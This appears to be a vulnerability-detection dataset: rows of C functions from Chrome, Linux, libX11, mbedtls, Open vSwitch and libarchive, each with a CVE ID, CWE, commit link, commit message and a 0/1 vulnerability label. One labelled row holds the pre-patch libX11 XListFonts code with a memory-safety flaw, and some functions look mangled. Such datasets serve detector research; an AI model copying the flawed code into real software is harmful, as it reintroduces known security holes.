bool LayerTreeHost::IsSingleThreaded() const { DCHECK(compositor_mode_ != CompositorMode::SINGLE_THREADED || !task_runner_provider_->HasImplThread()); return compositor_mode_ == CompositorMode::SINGLE_THREADED; }
bool LayerTreeHost::IsSingleThreaded() const { DCHECK(compositor_mode_ != CompositorMode::SINGLE_THREADED || !task_runner_provider_->HasImplThread()); return compositor_mode_ == CompositorMode::SINGLE_THREADED; }
C
Chrome
0
CVE-2017-5120
https://www.cvedetails.com/cve/CVE-2017-5120/
null
https://github.com/chromium/chromium/commit/b7277af490d28ac7f802c015bb0ff31395768556
b7277af490d28ac7f802c015bb0ff31395768556
bindings: Support "attribute FrozenArray<T>?" Adds a quick hack to support a case of "attribute FrozenArray<T>?". Bug: 1028047 Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866 Reviewed-by: Hitoshi Yoshida <[email protected]> Commit-Queue: Yuki Shiino <[email protected]> Cr-Commit-Position: refs/heads/master@{#718676}
static void OverloadedMethodIMethod(const v8::FunctionCallbackInfo<v8::Value>& info) { scheduler::CooperativeSchedulingManager::Instance()->Safepoint(); bool is_arity_error = false; switch (std::min(1, info.Length())) { case 1: if (info[0]->IsNumber()) { OverloadedMethodI2Method(info); return; } if (true) { OverloadedMethodI1Method(info); return; } if (true) { OverloadedMethodI2Method(info); return; } break; default: is_arity_error = true; } ExceptionState exception_state(info.GetIsolate(), ExceptionState::kExecutionContext, "TestObject", "overloadedMethodI"); if (is_arity_error) { if (info.Length() < 1) { exception_state.ThrowTypeError(ExceptionMessages::NotEnoughArguments(1, info.Length())); return; } } exception_state.ThrowTypeError("No function was found that matched the signature provided."); }
static void OverloadedMethodIMethod(const v8::FunctionCallbackInfo<v8::Value>& info) { scheduler::CooperativeSchedulingManager::Instance()->Safepoint(); bool is_arity_error = false; switch (std::min(1, info.Length())) { case 1: if (info[0]->IsNumber()) { OverloadedMethodI2Method(info); return; } if (true) { OverloadedMethodI1Method(info); return; } if (true) { OverloadedMethodI2Method(info); return; } break; default: is_arity_error = true; } ExceptionState exception_state(info.GetIsolate(), ExceptionState::kExecutionContext, "TestObject", "overloadedMethodI"); if (is_arity_error) { if (info.Length() < 1) { exception_state.ThrowTypeError(ExceptionMessages::NotEnoughArguments(1, info.Length())); return; } } exception_state.ThrowTypeError("No function was found that matched the signature provided."); }
C
Chrome
0
CVE-2017-5091
https://www.cvedetails.com/cve/CVE-2017-5091/
CWE-416
https://github.com/chromium/chromium/commit/d007b8b750851fe1b375c463009ea3b24e5c021d
d007b8b750851fe1b375c463009ea3b24e5c021d
[IndexedDB] Fix Cursor UAF If the connection is closed before we return a cursor, it dies in IndexedDBCallbacks::IOThreadHelper::SendSuccessCursor. It's deleted on the correct thread, but we also need to makes sure to remove it from its transaction. To make things simpler, we have the cursor remove itself from its transaction on destruction. R: [email protected] Bug: 728887 Change-Id: I8c76e6195c2490137a05213e47c635d12f4d3dd2 Reviewed-on: https://chromium-review.googlesource.com/526284 Commit-Queue: Daniel Murphy <[email protected]> Reviewed-by: Victor Costan <[email protected]> Cr-Commit-Position: refs/heads/master@{#477504}
leveldb::Status IndexedDBCursor::PrefetchReset(int used_prefetches, int /* unused_prefetches */) { IDB_TRACE("IndexedDBCursor::PrefetchReset"); cursor_.swap(saved_cursor_); saved_cursor_.reset(); leveldb::Status s; if (closed_) return s; if (cursor_){ DCHECK_GT(used_prefetches, 0); for (int i = 0; i < used_prefetches - 1; ++i) { bool ok = cursor_->Continue(&s); DCHECK(ok); } } return s; }
leveldb::Status IndexedDBCursor::PrefetchReset(int used_prefetches, int /* unused_prefetches */) { IDB_TRACE("IndexedDBCursor::PrefetchReset"); cursor_.swap(saved_cursor_); saved_cursor_.reset(); leveldb::Status s; if (closed_) return s; if (cursor_){ DCHECK_GT(used_prefetches, 0); for (int i = 0; i < used_prefetches - 1; ++i) { bool ok = cursor_->Continue(&s); DCHECK(ok); } } return s; }
C
Chrome
0
CVE-2011-4324
https://www.cvedetails.com/cve/CVE-2011-4324/
null
https://github.com/torvalds/linux/commit/dc0b027dfadfcb8a5504f7d8052754bf8d501ab9
dc0b027dfadfcb8a5504f7d8052754bf8d501ab9
NFSv4: Convert the open and close ops to use fmode Signed-off-by: Trond Myklebust <[email protected]>
static int nfs4_delay(struct rpc_clnt *clnt, long *timeout) { int res = 0; might_sleep(); if (*timeout <= 0) *timeout = NFS4_POLL_RETRY_MIN; if (*timeout > NFS4_POLL_RETRY_MAX) *timeout = NFS4_POLL_RETRY_MAX; schedule_timeout_killable(*timeout); if (fatal_signal_pending(current)) res = -ERESTARTSYS; *timeout <<= 1; return res; }
static int nfs4_delay(struct rpc_clnt *clnt, long *timeout) { int res = 0; might_sleep(); if (*timeout <= 0) *timeout = NFS4_POLL_RETRY_MIN; if (*timeout > NFS4_POLL_RETRY_MAX) *timeout = NFS4_POLL_RETRY_MAX; schedule_timeout_killable(*timeout); if (fatal_signal_pending(current)) res = -ERESTARTSYS; *timeout <<= 1; return res; }
C
linux
0
CVE-2018-14599
https://www.cvedetails.com/cve/CVE-2018-14599/
CWE-682
https://cgit.freedesktop.org/xorg/lib/libX11/commit/?id=b469da1430cdcee06e31c6251b83aede072a1ff0
b469da1430cdcee06e31c6251b83aede072a1ff0
null
XListFonts( register Display *dpy, _Xconst char *pattern, /* null-terminated */ int maxNames, int *actualCount) /* RETURN */ { register long nbytes; register unsigned i; register int length; char **flist = NULL; char *ch = NULL; char *chstart; char *chend; int count = 0; xListFontsReply rep; register xListFontsReq *req; unsigned long rlen = 0; LockDisplay(dpy); GetReq(ListFonts, req); req->maxNames = maxNames; nbytes = req->nbytes = pattern ? strlen (pattern) : 0; req->length += (nbytes + 3) >> 2; _XSend (dpy, pattern, nbytes); /* use _XSend instead of Data, since following _XReply will flush buffer */ if (!_XReply (dpy, (xReply *)&rep, 0, xFalse)) { *actualCount = 0; UnlockDisplay(dpy); SyncHandle(); return (char **) NULL; } if (rep.nFonts) { flist = Xmalloc (rep.nFonts * sizeof(char *)); if (rep.length > 0 && rep.length < (INT_MAX >> 2)) { rlen = rep.length << 2; ch = Xmalloc(rlen + 1); /* +1 to leave room for last null-terminator */ } if ((! flist) || (! ch)) { Xfree(flist); Xfree(ch); _XEatDataWords(dpy, rep.length); *actualCount = 0; UnlockDisplay(dpy); SyncHandle(); return (char **) NULL; } _XReadPad (dpy, ch, rlen); /* * unpack into null terminated strings. */ chstart = ch; chend = ch + rlen; length = *(unsigned char *)ch; *ch = 1; /* make sure it is non-zero for XFreeFontNames */ for (i = 0; i < rep.nFonts; i++) { if (ch + length < chend) { flist[i] = ch + 1; /* skip over length */ ch += length + 1; /* find next length ... */ length = *(unsigned char *)ch; *ch = '\0'; /* and replace with null-termination */ count++; } else { Xfree(chstart); Xfree(flist); Xfree(flist); flist = NULL; count = 0; break; } } else { Xfree(chstart); Xfree(flist); flist = NULL; count = 0; break; } } }
XListFonts( register Display *dpy, _Xconst char *pattern, /* null-terminated */ int maxNames, int *actualCount) /* RETURN */ { register long nbytes; register unsigned i; register int length; char **flist = NULL; char *ch = NULL; char *chstart; char *chend; int count = 0; xListFontsReply rep; register xListFontsReq *req; unsigned long rlen = 0; LockDisplay(dpy); GetReq(ListFonts, req); req->maxNames = maxNames; nbytes = req->nbytes = pattern ? strlen (pattern) : 0; req->length += (nbytes + 3) >> 2; _XSend (dpy, pattern, nbytes); /* use _XSend instead of Data, since following _XReply will flush buffer */ if (!_XReply (dpy, (xReply *)&rep, 0, xFalse)) { *actualCount = 0; UnlockDisplay(dpy); SyncHandle(); return (char **) NULL; } if (rep.nFonts) { flist = Xmalloc (rep.nFonts * sizeof(char *)); if (rep.length > 0 && rep.length < (INT_MAX >> 2)) { rlen = rep.length << 2; ch = Xmalloc(rlen + 1); /* +1 to leave room for last null-terminator */ } if ((! flist) || (! ch)) { Xfree(flist); Xfree(ch); _XEatDataWords(dpy, rep.length); *actualCount = 0; UnlockDisplay(dpy); SyncHandle(); return (char **) NULL; } _XReadPad (dpy, ch, rlen); /* * unpack into null terminated strings. */ chstart = ch; chend = ch + (rlen + 1); length = *(unsigned char *)ch; *ch = 1; /* make sure it is non-zero for XFreeFontNames */ for (i = 0; i < rep.nFonts; i++) { if (ch + length < chend) { flist[i] = ch + 1; /* skip over length */ ch += length + 1; /* find next length ... */ if (ch <= chend) { length = *(unsigned char *)ch; *ch = '\0'; /* and replace with null-termination */ count++; } else { Xfree(chstart); Xfree(flist); flist = NULL; count = 0; break; } } else { Xfree(chstart); Xfree(flist); Xfree(flist); flist = NULL; count = 0; break; } } else { Xfree(chstart); Xfree(flist); flist = NULL; count = 0; break; } } }
C
libx11
1
CVE-2011-3053
https://www.cvedetails.com/cve/CVE-2011-3053/
CWE-399
https://github.com/chromium/chromium/commit/c442b3eda2f1fdd4d1d4864c34c43cbaf223acae
c442b3eda2f1fdd4d1d4864c34c43cbaf223acae
chromeos: Move audio, power, and UI files into subdirs. This moves more files from chrome/browser/chromeos/ into subdirectories. BUG=chromium-os:22896 TEST=did chrome os builds both with and without aura TBR=sky Review URL: http://codereview.chromium.org/9125006 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@116746 0039d316-1c4b-4281-b951-d872f2087c98
bool SessionCrashedInfoBarDelegate::Accept() { uint32 behavior = 0; Browser* browser = BrowserList::GetLastActiveWithProfile(profile_); if (browser && browser->tab_count() == 1 && browser->GetWebContentsAt(0)->GetURL() == GURL(chrome::kChromeUINewTabURL)) { behavior = SessionRestore::CLOBBER_CURRENT_TAB; } SessionRestore::RestoreSession( profile_, browser, behavior, std::vector<GURL>()); return true; }
bool SessionCrashedInfoBarDelegate::Accept() { uint32 behavior = 0; Browser* browser = BrowserList::GetLastActiveWithProfile(profile_); if (browser && browser->tab_count() == 1 && browser->GetWebContentsAt(0)->GetURL() == GURL(chrome::kChromeUINewTabURL)) { behavior = SessionRestore::CLOBBER_CURRENT_TAB; } SessionRestore::RestoreSession( profile_, browser, behavior, std::vector<GURL>()); return true; }
C
Chrome
0
CVE-2018-16078
https://www.cvedetails.com/cve/CVE-2018-16078/
null
https://github.com/chromium/chromium/commit/b025e82307a8490501bb030266cd955c391abcb7
b025e82307a8490501bb030266cd955c391abcb7
[AF] Don't simplify/dedupe suggestions for (partially) filled sections. Since Autofill does not fill field by field anymore, this simplifying and deduping of suggestions is not useful anymore. Bug: 858820 Cq-Include-Trybots: luci.chromium.try:ios-simulator-full-configs;master.tryserver.chromium.mac:ios-simulator-cronet Change-Id: I36f7cfe425a0bdbf5ba7503a3d96773b405cc19b Reviewed-on: https://chromium-review.googlesource.com/1128255 Reviewed-by: Roger McFarlane <[email protected]> Commit-Queue: Sebastien Seguin-Gagnon <[email protected]> Cr-Commit-Position: refs/heads/master@{#573315}
void CreateTestCreditCardFormData(FormData* form, bool is_https, bool use_month_type) { form->name = ASCIIToUTF16("MyForm"); if (is_https) { form->origin = GURL("https://myform.com/form.html"); form->action = GURL("https://myform.com/submit.html"); } else { form->origin = GURL("http://myform.com/form.html"); form->action = GURL("http://myform.com/submit.html"); } FormFieldData field; test::CreateTestFormField("Name on Card", "nameoncard", "", "text", &field); form->fields.push_back(field); test::CreateTestFormField("Card Number", "cardnumber", "", "text", &field); form->fields.push_back(field); if (use_month_type) { test::CreateTestFormField("Expiration Date", "ccmonth", "", "month", &field); form->fields.push_back(field); } else { test::CreateTestFormField("Expiration Date", "ccmonth", "", "text", &field); form->fields.push_back(field); test::CreateTestFormField("", "ccyear", "", "text", &field); form->fields.push_back(field); } test::CreateTestFormField("CVC", "cvc", "", "text", &field); form->fields.push_back(field); }
void CreateTestCreditCardFormData(FormData* form, bool is_https, bool use_month_type) { form->name = ASCIIToUTF16("MyForm"); if (is_https) { form->origin = GURL("https://myform.com/form.html"); form->action = GURL("https://myform.com/submit.html"); } else { form->origin = GURL("http://myform.com/form.html"); form->action = GURL("http://myform.com/submit.html"); } FormFieldData field; test::CreateTestFormField("Name on Card", "nameoncard", "", "text", &field); form->fields.push_back(field); test::CreateTestFormField("Card Number", "cardnumber", "", "text", &field); form->fields.push_back(field); if (use_month_type) { test::CreateTestFormField("Expiration Date", "ccmonth", "", "month", &field); form->fields.push_back(field); } else { test::CreateTestFormField("Expiration Date", "ccmonth", "", "text", &field); form->fields.push_back(field); test::CreateTestFormField("", "ccyear", "", "text", &field); form->fields.push_back(field); } test::CreateTestFormField("CVC", "cvc", "", "text", &field); form->fields.push_back(field); }
C
Chrome
0
CVE-2017-14032
https://www.cvedetails.com/cve/CVE-2017-14032/
CWE-287
https://github.com/ARMmbed/mbedtls/commit/d15795acd5074e0b44e71f7ede8bdfe1b48591fc
d15795acd5074e0b44e71f7ede8bdfe1b48591fc
Improve behaviour on fatal errors If we didn't walk the whole chain, then there may be any kind of errors in the part of the chain we didn't check, so setting all flags looks like the safe thing to do.
static int x509_get_ext_key_usage( unsigned char **p, const unsigned char *end, mbedtls_x509_sequence *ext_key_usage) { int ret; if( ( ret = mbedtls_asn1_get_sequence_of( p, end, ext_key_usage, MBEDTLS_ASN1_OID ) ) != 0 ) return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS + ret ); /* Sequence length must be >= 1 */ if( ext_key_usage->buf.p == NULL ) return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS + MBEDTLS_ERR_ASN1_INVALID_LENGTH ); return( 0 ); }
static int x509_get_ext_key_usage( unsigned char **p, const unsigned char *end, mbedtls_x509_sequence *ext_key_usage) { int ret; if( ( ret = mbedtls_asn1_get_sequence_of( p, end, ext_key_usage, MBEDTLS_ASN1_OID ) ) != 0 ) return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS + ret ); /* Sequence length must be >= 1 */ if( ext_key_usage->buf.p == NULL ) return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS + MBEDTLS_ERR_ASN1_INVALID_LENGTH ); return( 0 ); }
C
mbedtls
0
CVE-2018-17206
https://www.cvedetails.com/cve/CVE-2018-17206/
null
https://github.com/openvswitch/ovs/commit/9237a63c47bd314b807cda0bd2216264e82edbe8
9237a63c47bd314b807cda0bd2216264e82edbe8
ofp-actions: Avoid buffer overread in BUNDLE action decoding. Reported-at: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=9052 Signed-off-by: Ben Pfaff <[email protected]> Acked-by: Justin Pettit <[email protected]>
decode_OFPAT_RAW_DEC_MPLS_TTL(struct ofpbuf *out) { ofpact_put_DEC_MPLS_TTL(out); return 0; }
decode_OFPAT_RAW_DEC_MPLS_TTL(struct ofpbuf *out) { ofpact_put_DEC_MPLS_TTL(out); return 0; }
C
ovs
0
CVE-2011-3104
https://www.cvedetails.com/cve/CVE-2011-3104/
CWE-119
https://github.com/chromium/chromium/commit/6b5f83842b5edb5d4bd6684b196b3630c6769731
6b5f83842b5edb5d4bd6684b196b3630c6769731
[i18n-fixlet] Make strings branding specific in extension code. IDS_EXTENSIONS_UNINSTALL IDS_EXTENSIONS_INCOGNITO_WARNING IDS_EXTENSION_INSTALLED_HEADING IDS_EXTENSION_ALERT_ITEM_EXTERNAL And fix a $1 $1 bug. IDS_EXTENSION_INLINE_INSTALL_PROMPT_TITLE BUG=NONE TEST=NONE Review URL: http://codereview.chromium.org/9107061 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@118018 0039d316-1c4b-4281-b951-d872f2087c98
void ExtensionSettingsHandler::RegisterMessages() { extension_service_ = Profile::FromWebUI(web_ui())->GetOriginalProfile()-> GetExtensionService(); web_ui()->RegisterMessageCallback("extensionSettingsRequestExtensionsData", base::Bind(&ExtensionSettingsHandler::HandleRequestExtensionsData, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsToggleDeveloperMode", base::Bind(&ExtensionSettingsHandler::HandleToggleDeveloperMode, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsInspect", base::Bind(&ExtensionSettingsHandler::HandleInspectMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsReload", base::Bind(&ExtensionSettingsHandler::HandleReloadMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsEnable", base::Bind(&ExtensionSettingsHandler::HandleEnableMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsEnableIncognito", base::Bind(&ExtensionSettingsHandler::HandleEnableIncognitoMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsAllowFileAccess", base::Bind(&ExtensionSettingsHandler::HandleAllowFileAccessMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsUninstall", base::Bind(&ExtensionSettingsHandler::HandleUninstallMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsOptions", base::Bind(&ExtensionSettingsHandler::HandleOptionsMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsShowButton", base::Bind(&ExtensionSettingsHandler::HandleShowButtonMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsLoad", base::Bind(&ExtensionSettingsHandler::HandleLoadMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsAutoupdate", base::Bind(&ExtensionSettingsHandler::HandleAutoUpdateMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsSelectFilePath", base::Bind(&ExtensionSettingsHandler::HandleSelectFilePathMessage, base::Unretained(this))); }
void ExtensionSettingsHandler::RegisterMessages() { extension_service_ = Profile::FromWebUI(web_ui())->GetOriginalProfile()-> GetExtensionService(); web_ui()->RegisterMessageCallback("extensionSettingsRequestExtensionsData", base::Bind(&ExtensionSettingsHandler::HandleRequestExtensionsData, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsToggleDeveloperMode", base::Bind(&ExtensionSettingsHandler::HandleToggleDeveloperMode, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsInspect", base::Bind(&ExtensionSettingsHandler::HandleInspectMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsReload", base::Bind(&ExtensionSettingsHandler::HandleReloadMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsEnable", base::Bind(&ExtensionSettingsHandler::HandleEnableMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsEnableIncognito", base::Bind(&ExtensionSettingsHandler::HandleEnableIncognitoMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsAllowFileAccess", base::Bind(&ExtensionSettingsHandler::HandleAllowFileAccessMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsUninstall", base::Bind(&ExtensionSettingsHandler::HandleUninstallMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsOptions", base::Bind(&ExtensionSettingsHandler::HandleOptionsMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsShowButton", base::Bind(&ExtensionSettingsHandler::HandleShowButtonMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsLoad", base::Bind(&ExtensionSettingsHandler::HandleLoadMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsAutoupdate", base::Bind(&ExtensionSettingsHandler::HandleAutoUpdateMessage, base::Unretained(this))); web_ui()->RegisterMessageCallback("extensionSettingsSelectFilePath", base::Bind(&ExtensionSettingsHandler::HandleSelectFilePathMessage, base::Unretained(this))); }
C
Chrome
0
CVE-2018-20067
https://www.cvedetails.com/cve/CVE-2018-20067/
CWE-254
https://github.com/chromium/chromium/commit/a7d715ae5b654d1f98669fd979a00282a7229044
a7d715ae5b654d1f98669fd979a00282a7229044
Prevent renderer initiated back navigation to cancel a browser one. Renderer initiated back/forward navigations must not be able to cancel ongoing browser initiated navigation if they are not user initiated. Note: 'normal' renderer initiated navigation uses the FrameHost::BeginNavigation() path. A code similar to this patch is done in NavigatorImpl::OnBeginNavigation(). Test: ----- Added: NavigationBrowserTest. * HistoryBackInBeforeUnload * HistoryBackInBeforeUnloadAfterSetTimeout * HistoryBackCancelPendingNavigationNoUserGesture * HistoryBackCancelPendingNavigationUserGesture Fixed: * (WPT) .../the-history-interface/traverse_the_history_2.html * (WPT) .../the-history-interface/traverse_the_history_3.html * (WPT) .../the-history-interface/traverse_the_history_4.html * (WPT) .../the-history-interface/traverse_the_history_5.html Bug: 879965 Change-Id: I1a9bfaaea1ffc219e6c32f6e676b660e746c578c Reviewed-on: https://chromium-review.googlesource.com/1209744 Commit-Queue: Arthur Sonzogni <[email protected]> Reviewed-by: Daniel Cheng <[email protected]> Reviewed-by: Mustaq Ahmed <[email protected]> Reviewed-by: Camille Lamy <[email protected]> Reviewed-by: Charlie Reis <[email protected]> Cr-Commit-Position: refs/heads/master@{#592823}
void LocalFrameClientImpl::FrameRectsChanged(const IntRect& frame_rect) { DCHECK(web_frame_->Client()); web_frame_->Client()->FrameRectsChanged(frame_rect); }
void LocalFrameClientImpl::FrameRectsChanged(const IntRect& frame_rect) { DCHECK(web_frame_->Client()); web_frame_->Client()->FrameRectsChanged(frame_rect); }
C
Chrome
0
CVE-2016-4300
https://www.cvedetails.com/cve/CVE-2016-4300/
CWE-190
https://github.com/libarchive/libarchive/commit/e79ef306afe332faf22e9b442a2c6b59cb175573
e79ef306afe332faf22e9b442a2c6b59cb175573
Issue #718: Fix TALOS-CAN-152 If a 7-Zip archive declares a rediculously large number of substreams, it can overflow an internal counter, leading a subsequent memory allocation to be too small for the substream data. Thanks to the Open Source and Threat Intelligence project at Cisco for reporting this issue.
archive_read_support_format_7zip(struct archive *_a) { struct archive_read *a = (struct archive_read *)_a; struct _7zip *zip; int r; archive_check_magic(_a, ARCHIVE_READ_MAGIC, ARCHIVE_STATE_NEW, "archive_read_support_format_7zip"); zip = calloc(1, sizeof(*zip)); if (zip == NULL) { archive_set_error(&a->archive, ENOMEM, "Can't allocate 7zip data"); return (ARCHIVE_FATAL); } /* * Until enough data has been read, we cannot tell about * any encrypted entries yet. */ zip->has_encrypted_entries = ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW; r = __archive_read_register_format(a, zip, "7zip", archive_read_format_7zip_bid, NULL, archive_read_format_7zip_read_header, archive_read_format_7zip_read_data, archive_read_format_7zip_read_data_skip, NULL, archive_read_format_7zip_cleanup, archive_read_support_format_7zip_capabilities, archive_read_format_7zip_has_encrypted_entries); if (r != ARCHIVE_OK) free(zip); return (ARCHIVE_OK); }
archive_read_support_format_7zip(struct archive *_a) { struct archive_read *a = (struct archive_read *)_a; struct _7zip *zip; int r; archive_check_magic(_a, ARCHIVE_READ_MAGIC, ARCHIVE_STATE_NEW, "archive_read_support_format_7zip"); zip = calloc(1, sizeof(*zip)); if (zip == NULL) { archive_set_error(&a->archive, ENOMEM, "Can't allocate 7zip data"); return (ARCHIVE_FATAL); } /* * Until enough data has been read, we cannot tell about * any encrypted entries yet. */ zip->has_encrypted_entries = ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW; r = __archive_read_register_format(a, zip, "7zip", archive_read_format_7zip_bid, NULL, archive_read_format_7zip_read_header, archive_read_format_7zip_read_data, archive_read_format_7zip_read_data_skip, NULL, archive_read_format_7zip_cleanup, archive_read_support_format_7zip_capabilities, archive_read_format_7zip_has_encrypted_entries); if (r != ARCHIVE_OK) free(zip); return (ARCHIVE_OK); }
C
libarchive
0
null
null
null
https://github.com/chromium/chromium/commit/181c7400b2bf50ba02ac77149749fb419b4d4797
181c7400b2bf50ba02ac77149749fb419b4d4797
gpu: Use GetUniformSetup computed result size. [email protected] BUG=468936 Review URL: https://codereview.chromium.org/1016193003 Cr-Commit-Position: refs/heads/master@{#321489}
error::Error GLES2DecoderImpl::HandleGetActiveUniformBlockName( uint32 immediate_data_size, const void* cmd_data) { if (!unsafe_es3_apis_enabled()) return error::kUnknownCommand; const gles2::cmds::GetActiveUniformBlockName& c = *static_cast<const gles2::cmds::GetActiveUniformBlockName*>(cmd_data); GLuint program_id = c.program; GLuint index = c.index; uint32 name_bucket_id = c.name_bucket_id; typedef cmds::GetActiveUniformBlockName::Result Result; Result* result = GetSharedMemoryAs<Result*>( c.result_shm_id, c.result_shm_offset, sizeof(*result)); if (!result) { return error::kOutOfBounds; } if (*result != 0) { return error::kInvalidArguments; } Program* program = GetProgramInfoNotShader( program_id, "glGetActiveUniformBlockName"); if (!program) { return error::kNoError; } GLuint service_id = program->service_id(); GLint link_status = GL_FALSE; glGetProgramiv(service_id, GL_LINK_STATUS, &link_status); if (link_status != GL_TRUE) { LOCAL_SET_GL_ERROR(GL_INVALID_OPERATION, "glGetActiveActiveUniformBlockName", "program not linked"); return error::kNoError; } GLint max_length = 0; glGetProgramiv( service_id, GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH, &max_length); GLsizei buf_size = static_cast<GLsizei>(max_length) + 1; std::vector<char> buffer(buf_size); GLsizei length = 0; glGetActiveUniformBlockName( service_id, index, buf_size, &length, &buffer[0]); if (length == 0) { *result = 0; return error::kNoError; } *result = 1; Bucket* bucket = CreateBucket(name_bucket_id); DCHECK_GT(buf_size, length); DCHECK_EQ(0, buffer[length]); bucket->SetFromString(&buffer[0]); return error::kNoError; }
error::Error GLES2DecoderImpl::HandleGetActiveUniformBlockName( uint32 immediate_data_size, const void* cmd_data) { if (!unsafe_es3_apis_enabled()) return error::kUnknownCommand; const gles2::cmds::GetActiveUniformBlockName& c = *static_cast<const gles2::cmds::GetActiveUniformBlockName*>(cmd_data); GLuint program_id = c.program; GLuint index = c.index; uint32 name_bucket_id = c.name_bucket_id; typedef cmds::GetActiveUniformBlockName::Result Result; Result* result = GetSharedMemoryAs<Result*>( c.result_shm_id, c.result_shm_offset, sizeof(*result)); if (!result) { return error::kOutOfBounds; } if (*result != 0) { return error::kInvalidArguments; } Program* program = GetProgramInfoNotShader( program_id, "glGetActiveUniformBlockName"); if (!program) { return error::kNoError; } GLuint service_id = program->service_id(); GLint link_status = GL_FALSE; glGetProgramiv(service_id, GL_LINK_STATUS, &link_status); if (link_status != GL_TRUE) { LOCAL_SET_GL_ERROR(GL_INVALID_OPERATION, "glGetActiveActiveUniformBlockName", "program not linked"); return error::kNoError; } GLint max_length = 0; glGetProgramiv( service_id, GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH, &max_length); GLsizei buf_size = static_cast<GLsizei>(max_length) + 1; std::vector<char> buffer(buf_size); GLsizei length = 0; glGetActiveUniformBlockName( service_id, index, buf_size, &length, &buffer[0]); if (length == 0) { *result = 0; return error::kNoError; } *result = 1; Bucket* bucket = CreateBucket(name_bucket_id); DCHECK_GT(buf_size, length); DCHECK_EQ(0, buffer[length]); bucket->SetFromString(&buffer[0]); return error::kNoError; }
C
Chrome
0
CVE-2013-7271
https://www.cvedetails.com/cve/CVE-2013-7271/
CWE-20
https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c
f3d3342602f8bcbf37d7c46641cb9bca7618eb1c
net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <[email protected]> Suggested-by: Eric Dumazet <[email protected]> Signed-off-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: David S. Miller <[email protected]>
static void maybe_add_creds(struct sk_buff *skb, const struct socket *sock, const struct sock *other) { if (UNIXCB(skb).pid) return; if (test_bit(SOCK_PASSCRED, &sock->flags) || !other->sk_socket || test_bit(SOCK_PASSCRED, &other->sk_socket->flags)) { UNIXCB(skb).pid = get_pid(task_tgid(current)); current_uid_gid(&UNIXCB(skb).uid, &UNIXCB(skb).gid); } }
static void maybe_add_creds(struct sk_buff *skb, const struct socket *sock, const struct sock *other) { if (UNIXCB(skb).pid) return; if (test_bit(SOCK_PASSCRED, &sock->flags) || !other->sk_socket || test_bit(SOCK_PASSCRED, &other->sk_socket->flags)) { UNIXCB(skb).pid = get_pid(task_tgid(current)); current_uid_gid(&UNIXCB(skb).uid, &UNIXCB(skb).gid); } }
C
linux
0
CVE-2016-3751
https://www.cvedetails.com/cve/CVE-2016-3751/
null
https://android.googlesource.com/platform/external/libpng/+/9d4853418ab2f754c2b63e091c29c5529b8b86ca
9d4853418ab2f754c2b63e091c29c5529b8b86ca
DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
